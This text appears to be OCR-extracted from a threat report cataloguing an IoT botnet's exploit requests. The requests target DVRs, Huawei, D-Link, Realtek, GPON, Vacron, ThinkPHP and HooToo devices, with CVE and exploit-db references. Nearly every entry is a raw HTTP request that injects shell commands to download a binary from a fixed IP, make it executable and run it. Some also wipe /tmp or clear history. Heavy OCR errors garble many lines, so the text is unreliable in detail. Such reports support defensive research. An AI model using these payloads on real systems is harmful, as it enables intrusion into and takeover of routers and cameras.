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CCTV-DVR RCE
ZOMOEHR DN GET /language/Swedish5{IFS}&scdS{IFS}/tmp; rm${IFS}-rf5{IFs}*;wget
§{IFSthttp://151.80.197.109/eBxUk/procservice;sh${IFS}/tmp/procse’

2 DB . . .

Ed Lo rvice&>»reatar${IFS}/string.js HTTE/1.0
ZyXEL L — %

(REanhTs 270 POST /cgi-bin/Viewlog.asp HTTR/1.1

4 X, DTV Host: 1582.168.0.14:80

270 5L
2784 kISR Connection: keep-alive

Accept-Encoding: gzip, deflate
Accept: */*

User-Agent: python-requests/2.20.0
Content-Length: 227

Content-Type: application/x-www-form-urlencoded

/bin/busybox wget http://151.80.197.109/eBxUk/kjUiwa.sh; chmod +x
kjUiwa.sh; ./kjUiwa.sh



https://www.exploit-db.com/exploits/39596
https://www.exploit-db.com/exploits/39596
https://www.exploit-db.com/exploits/39596
https://seclists.org/fulldisclosure/2017/Jan/40
https://seclists.org/fulldisclosure/2017/Jan/40

Huawei 8L — &

BOST /ctrlt/DeviceUpgrade 1 HTTR/1.1
Host: %s5:37215

Content-Length: 601

Connection: keep-alive

Authorization: Digest username="dslf-config",
realm="HuaweiHomeGateway", nonce="88645cefbhlf%da0e33623569d4752230",
uri="/ctrlt/DeviceUpgrade 1",
response="3612fR43a42db36f48f5%d2a3597e1%¢c", algorithm="MD5",
gop="auth", nc=00000001, cnonce="248dla2560100669"

<?xml version="1.0" ?><s:Envelope
xmlns:s="http://schemas.xmlsoap.org/soap/envelopa/"
s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u
:Upgrade xmlns:u="urn:schemas-upnp-
org:service:WANPERConnection:1"><NewStatusURL>$ (/bin/busybox wget -g
0.0.0.0 -1 /tmp/huaweil -r /procrcu;chmod -x huawei;/tmp/huawei
huawel)</NewStatusURL><NewDownloadURL>S (echo
HURWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

LT o & &#F

Crestron AM, Barco
WiPG,
Extron ShareLink,
Teq AV IT, SHARP
PN-L703WA, Optoma
WPS-Pro, Blackbox
HD WPS, InFocus
LiteShow

Command Injection

wePresent

Remote

(CVE 2019-3929 & &

T R7TAA

h)

POST /cgi-bin/file transfer.cgi?cmd='wget
http://151.80.157.109/eBxUk/procrcu; chmod 777 procrcu; ./procrcu
MIPS; rm -rf procrcu’ HTTR/1.1\r\n"

"Content-Type: application/xz-www-form-urlencoded\r\n



https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-17215
https://www.exploit-db.com/exploits/46786
https://www.exploit-db.com/exploits/46786

D-Link HNAP1

POST /HNAP1/ HTTE/1.0
Content-Type: text/zml; charset="utf-3"

S0RPAction: http://purenstworks.com/HNAPL/‘cd /tmp && rm -rf * && wget
http://151.80.197.109/eBxUk/procrcu && chmod +x procrcu;./procrcu”

Content-Length: 640

<?xml version="1.0" encoding="utf-8"?><soap:Envelope
xmlns:xsi="http://www.w3.org/2001/XMLSchema-1instance™
xmlns:xsd="http://www.w3.org/2001/¥MLSchena"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelops/"><soap:Body><Add
PortMapping
xmlns="http://purenatworks.com/HNAP1/"><PortMappingDescriptionsfoohard
/PortMappingDescription><InternalClient>192.168.0.100</InternalClient>
<PortMappingProtocol»>TCE</PortMappingProtocol><External Port>1234</Exte
rnalPort><InternalPort>1234</Internal Port></AddPortMapping></soap:Body
>¢/soap:Envelope>



https://dl.packetstormsecurity.net/papers/attack/dlink_hnap_captcha.pdf

Realtek SDK UPnP

SOAP Command

Execution

Exploit 1:

POST /picsdesc.xml HTTEB/1.1
Host: $s5:52869

Content-Length: 630
Lceept-Encoding: gzip, deflate

SOAPAction: urn:schemas-upnp-
org:service:WANIEConnection: 1#2ddPortMapping

Accept: */¥
User-Agent: Hello, World

Connection: keep-alive

<?xml version="1.0" ?><s:Envelope
xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"
s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u
:AddPortMapping xmlns:u="urn:schemas-upnp-
org:service:WANIEConnection: 1"»<NewRemoteHost»</NewRemoteHost ><NewExte
rnalPort>47500</NewExternal Port><NewProtocol »ICP</NewProtocol><NewInts
rnalPort>44382</NewInternal Port><NewInternalClient>'cd /tmp/; rm -rf*;
wget
http://151.80.197.109/eBxUk/procrcu’</NewInternalClient><NewEnabled>1<
/NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescri
ptions<NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Bod
y»</s:Envalope>

Exploit 2:

POST /picsdesc.xml HTTE/L.1
Host: %s:52869

Content-Length: 630
Accept-Encoding: gzip, deflate

SCORPAction: urn:schemas-upnp-
org: service:WANIEConnection: 142ddPortMapping

Rcecept: */*
User-Agent: Hello, World

Connection: keep-alive

<?xml version="1.0" ?»<s:Envelope
xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"
s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/ "><s:Body><u
:AddPortMapping xmlns:u="urn:schemas-upnp-

org: service:WANIEConnection: 1"»<NewRenoteHost></NewRemoteHost »<NewExte
rnalPort>47500</NewExternal Port><NewProtocol>TCE</NewProtocol><NewInte
rnalPort>44382</NewInternal Port><NewInternalClient>'cd /tmp/;chmod +x
procreu; . /procreu

realtek </NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingD
escription>syncthing</NewPortMappingDescription><NewleaseDuration>0</N
ewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>



https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-8361
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-8361
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-8361

GPON80

POST /GponForm/diag Form?images/ HTTR/1.1
Host: 127.0.0.1:80

Connection: keep-alive

Accept-Encoding: gzip, deflate

Accept: */*

User-Agent: Hello, World

Content-Length: 118

¥iiebPageName=diagédiag action=pingewan conlist=0sdest host='";wgetthtt
p://151.80.157.109/eBxUk/procreut-0+->/ tmp/gpon80; sh+/ tmp/ gpon8 e ipy=0

GPON8080

POST /GponForm/diag_Form?images/ HTTP/1.1
User-Agent: Hello, World

Accept: */*

Accept-Encoding: gzip, deflats

Content-Type: application/z-www-form-urlencoded

XiebPageName=diagediag action=pingswan conlist=0&dsst host='busyboxtwg
et+http://151.80.197.105/eBxUk/procrcut-
0+/tmp/ theend; sht/tmp/theend” eipv=0

GPON443

POST /GponForm/diag Form?style/ HTTE/1.1
Host: 192.168.0.1:443

User-Agent: curl/7.3.2

Lcceph: */*

Accept-Encoding: gzip, deflate
Connection: keep-alive

Content-Type: text/plain

Content-Length: 130

XWebPageName=diagédiag_action=pingswan_conlist=0sdest_host=5 (busyboxtw
get+http://151.80.197.109/eBxUk/procreut-04->+/dev/r; sh+/dev/x) eipv=0



https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-10562
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-10562
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-10562
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POST /shell?cd+/tmp; rmt-
rf+*;wget+http://151.80.197.109/eBxUk/procservice; chmod+77T+procservic
e;/tmp/procservice+jaws HTTP/1.1

User-Agent: Hello, world
Host: %s:80

Accept:
text/html, application/xhtml4xzml, application/xml;q=0.9, image/webp, */*;q
=0.8

Connection: keep-alive

Vacron NVR RCE

GET /board.cgi?cmd=cd+/tmp; rm+-
rf+*;wget+http://151.80.197.109/eBxUk/procservice; chmod+777+procservic
e;/tmp/procservicetvarcron

UPnP SOAP aw > F

FT (o x7A

A b ICHER)

BOST /UD/?9 HTTP/1.1
User-Agent: OSIRIS
Content-Type: text/zml

SOAPAction: urn:schemas-upnp-
org:service:WANIPConnection: l#AddPortMapping

<?xml version="1.0" ?><s:Envelops
xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"
s:encodingStyle="http://schemas.xmlsoap.oryg/scap/encoding/"><s:Body><u
:2ddPortMapping zmlns:u="urn:schemas-upnp-
org:service:WANIPConnection: 1" »<NewRemoteHost></NewRemoteHost><NewExte
rnalPort>474459</NewExtarnal Port»><NewProtocol >TCP</NawProtocol><Newlnts
rnalPort>44382</NewInternalPort><NewInternalClient>'>/tmp/.e && cd
[tmp; >/var/dev/.e && cd /var/dev; wget
http://151.80.197.10%/eBxUk/kjUiwa.sh -0 - > theend.sh; chmod 777
theend.sh; sh theend.sh; rm theend.sh; iptables -& INPUT -p tcp --
destination-port 5555 -j
DROP"</NewInternalClient><NewEnabled>1</NawEnabled><NewPortMappingDesc
ription»syncthing</NewPortMappingDescription><NewleaseDuration>0</Newl
saseDuration></u:AddPortMapping></s:Body></s:Envelope>



https://www.exploit-db.com/exploits/41471
https://www.exploit-db.com/exploits/41471
https://www.exploit-db.com/exploits/41471
https://www.exploit-db.com/exploits/41471
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https://www.exploit-db.com/exploits/40740
https://www.exploit-db.com/exploits/40740

THINK-PHP

Exploit 1:

GET
public/index.php?s=/index/\\think\\app/invoksfunctionéfunction=call us
er_func_array&vars[0]=shell_execivars[l][]="wget
http://151.80.197.109/eBxUk/vstat -0 /tmp/.vstat; chmod 777
/tmp/.vstat; /tmp/.vstat x86 64' HTTR/1.1

Connection: keep-alive
Lceept-Encoding: gzip, deflate
Rccept: /

User-Agent: Momentum/2.0

Exploit 2:

GET
/to/thinkphp5.1.259/?s=index/\\think\\app/invokefunctionsfunction=call_
user func arrayévars[0]=systemivars[1][]="wget
http://151.80.197.109/eBxUk/vstat -0 /tmp/.vstat; chmod 777
/tmp/.vstat; /tmp/.vstat x86_64' HTTR/1.1

Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: /

User-Agent: Momentum/2.0

Exploit 3:

GET
/to/thinkphp5.1.29/?s=index/\\think\\\\Request/inputsfilter=systemsdat
a='wget http://151.80.197.109/eBxUk/vstat -0 /tmp/.vstat; chmod 777
[tmp/.vstat; /tmp/.vstat x86 64' HTTR/1.1

Connsction: keep-alive
Accept-Encoding: gzip, deflate
Accept: /

User-Agent: Momentum/2.0

Exploit 4:

GET
/to/thinkphp5.1.29/?s=index/\\think\\\\Container/invokefunctionsfuncti
on=call user func array&vars[0]=systemsvars[l][]='wget
http://151.80.197.105/eBxUk/vstat -0 /tmp/.vstat; chmod 777
/tmp/.vstat; /tmp/.vstat x86 64' HTTR/1.1\\r\\nConnection: keep-alive

Accept-Encoding: gzip, deflate
Rccept: /

User-Agent: Momentum/2.0



https://www.exploit-db.com/exploits/46150

HooTooTripMate RCE

POST
/protocel.csp?function=sst&fname=securityeopt=mac_tablesflag=close_for
svarsmac=|wgst http://151.80.197.109/eBxUk/procreu; chmod 777 procrou;
./procrcu tripmate; rm -rf procrcu; history -c

Content-Length: 630
Accept-Encoding: gzip, deflate
Accept: /

User-Agent: Momentum/3.00

Connection: keep-alive



https://www.exploit-db.com/exploits/46143
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